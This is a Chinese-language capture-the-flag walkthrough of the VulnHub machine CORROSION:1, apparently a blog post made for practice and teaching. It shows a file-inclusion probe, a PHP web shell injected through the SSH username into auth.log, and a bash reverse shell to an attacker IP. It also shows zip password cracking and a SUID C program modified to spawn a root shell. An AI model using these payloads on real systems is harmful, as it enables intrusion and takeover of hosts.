vulnhub靶场——CORROSION:1

准备

攻击机:kali

靶机: CORROSION: 1 NAT 192.168.91.0 网段

下载连接:

https://www.vulnhub.com/entry/corrosion-1,730/
在这里插入图片描述

信息搜集与利用

主机发现

python3 ping.py -H 192.168.91.0/24
在这里插入图片描述
如图所示得到目标靶机IP地址: 192.168.91.188

端口扫描

在这里插入图片描述
如图所示只开放了 22,80 两个端口。

HTTP

http://192.168.91.188/
在这里插入图片描述

目录扫描

在这里插入图片描述
挨个访问上面的路径:
http://192.168.91.188/tasks/
在这里插入图片描述
http://192.168.91.188/tasks/tasks_todo.txt
在这里插入图片描述

# 需要完成的任务
1.更改授权日志的权限
2. 更改端口 22 -> 7672
3.设置phpMyAdmin

翻译过来大致如此,看来这个靶机和日志,ssh, phpmyadmin有关。
http://192.168.91.188/blog-post/
http://192.168.91.188/blog-post/uploads/
这两个连接访问是一样的。
在这里插入图片描述
这个页面没什么有用的。
http://192.168.91.188/blog-post/archives/randylogs.php
这个页面根据根据名称可以判断出 可以文件包含 日志,但是我们看不到源代码不知道包含参数。
在这里插入图片描述

FFUF

但是可以猜测一下,不过可以使用 ffuf 工具来进行模糊测试(FUZZ)

在这里插入图片描述
如图所示得到关键词 file, 卧槽他妈的直接猜也可以猜出来。

那么我们现在文件包含一下:
http://192.168.91.188/blog-post/archives/randylogs.php?file=/etc/passwd
在这里插入图片描述
可以发现只有 root, randy 两个用户具有 /bin/bash

接下来尝试包含日志文件,如果忘记了日志文件的目录位置可以使用字典:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
如图所示 /var/log/auth.log 正是我们需要的日志文件,且在 task/task_todo.txt 中 第一条有提示:

  1. Change permissions for auth log

先来测试一下:随便使用一个用户名比如test ssh 登陆看看该日志的结果是什么?
在这里插入图片描述
很明显大家都知道这个是登陆不了的。现在查看日志最下面的显示结果:
view-source:http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log
在这里插入图片描述
如图所示很明显的 显示 用户名错误,密码错误。

反弹shell

现在尝试ssh日志写入一句话木马!只需将用户名跟更改为一句话木马即可。

ssh ‘<?php system($\_REQUEST['cmd']);?>’@192.168.91.188

这条命令我试了很多,将 cmd 改为其他字符有时可以执行命令有时又不能执行,很玄学啊!!!
在这里插入图片描述
然后访问:

view-source:http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ls%20-alh
然后查看源代码最下面:
在这里插入图片描述
可以看到 命令 &cmd=ls -alh 执行成功,那么现在可以执行命令,我们尝试反弹shell
首先在kali 上监听
nc -lvnp 4444
然后执行命令:

// 要先将下面代码URL编码,然后执行
echo "bash -i >& /dev/tcp/172.18.171.250/4444 0>&1" | bash

http://192.168.91.188/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.171.250%2F4444%200%3E%261%22%20%7C%20bash

在这里插入图片描述
在这里插入图片描述
如图所示得到了一个 webshell
lsb-release -a
在这里插入图片描述
如图所示可以看到版本为 ubuntu 21.04 既然这么高那不可能存在系统漏洞的。所以这种情况只有出题人人为留下的漏洞了。

搜索SUID发现也没有可用的。

查看 randylogs.php 发现内容很简单:
在这里插入图片描述

可疑文件

后来发现在 目录
/var/backups/ 下存在 user_backup.zip 文件,看着很可疑

在这里插入图片描述
尝试解压后发现,需要密码:
在这里插入图片描述
将其下载到 kali 中来破解密码:
现在靶机中输入如下命令:
python3 -m http.server 8000

python3 和 python2 的方式不一样,python2 是: python2 -m SimpleHTTPServer 8000
在这里插入图片描述
浏览器访问查看是否奏效
http://192.168.91.188:8000/
在这里插入图片描述

密码破解

ok,现在下载即可

wget http://192.168.91.188:8000/user_backup.zip
在这里插入图片描述
输入如下命令:
zip2john user_backup.zip > hash.txt
在这里插入图片描述
会生成 hash.txt
然后使用 john 进行破解,同时指定一个强一点的字典(kali自带)
在这里插入图片描述
注意 --wordlist= 路径, 别忘了等于符号,很快就能破解出密码: !randybaby

现在得到了密码在kali下解压。在靶机中解压直接跳过了输入密码的环节

unzip user_backup.zip
在这里插入图片描述
cat easysysinfo.c
在这里插入图片描述
这个C文件其中

#include<unistd.h>
void main()
{ setuid(0); // 设置 userid 为0 即为最高权限(root)
  setgid(0); // 设置 groupid 为0 即为最高权限(root)
  system("/usr/bin/date"); // 执行命令

  system("cat /etc/hosts"); // 执行命令

  system("/usr/bin/uname -a"); // 执行命令

}

在kali上编译运行查看效果:
在这里插入图片描述
那么可以编辑这个文件 来得到 root 权限。先登陆靶机再说。
cat id_rsa.pub
在这里插入图片描述
可以看到公钥显示为用户 randy的,
cat my_password.txt
在这里插入图片描述
得到密码: randylovesgoldfish1998

尝试使用 randy:randylovesgoldfish1998 ssh登陆,这里使用 ssh工具(MobaXterm)登陆,方便上传下载文件。
在这里插入图片描述
如图所示登陆成功

flag 1

当前目录下存在名为 user.txt 的文件
在这里插入图片描述

SUID提权

我们输入 sudo -l 来查看当前用户在系统上可以使用的命令

在这里插入图片描述
如图所示 /home/randy/tools/easysysinfo (与下载的压缩包中easyssysinfo.c 相对应)为 root 权限执行即 SUID

在这里插入图片描述
如图所示 -rw-s-r-xr-x 中 s 就代表 可以利用这个进行 SUID 提权。同时存在 .py 文件
我们输入命令 find / -perm -u=s -type f 2>/dev/null 也可以看到这个文件
在这里插入图片描述
好了,现在更加确定这个文件能达到我们的目的,先看看 easysysinfo.py
在这里插入图片描述
我们还是编辑压缩包中的 c 文件来提取,因为我不知道 python怎么编译为可执行文件。c语言可以直接 gcc 编译为可执行文件,先which 或者 whereis 查看一下有没有gcc命令。
在这里插入图片描述
which gcc 截图截掉了。
vi easysysinfo.c

#include "unistd.h"
#include "stdlib.h"
void main()
{
        setuid(0);
        setgid(0);
        system("bash -i");
}

在这里插入图片描述

gcc easysysinfo.c -o easysysinfo

在这里插入图片描述
sudo ./easysysinfo
在这里插入图片描述
如图所示拿到了 root 权限。

flag 2

在这里插入图片描述

总结

  1. ffuf 进行模糊测试。
  2. 利用 /var/log/auth.log 进行 getshell。
  3. c 语言也可以用来提权。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值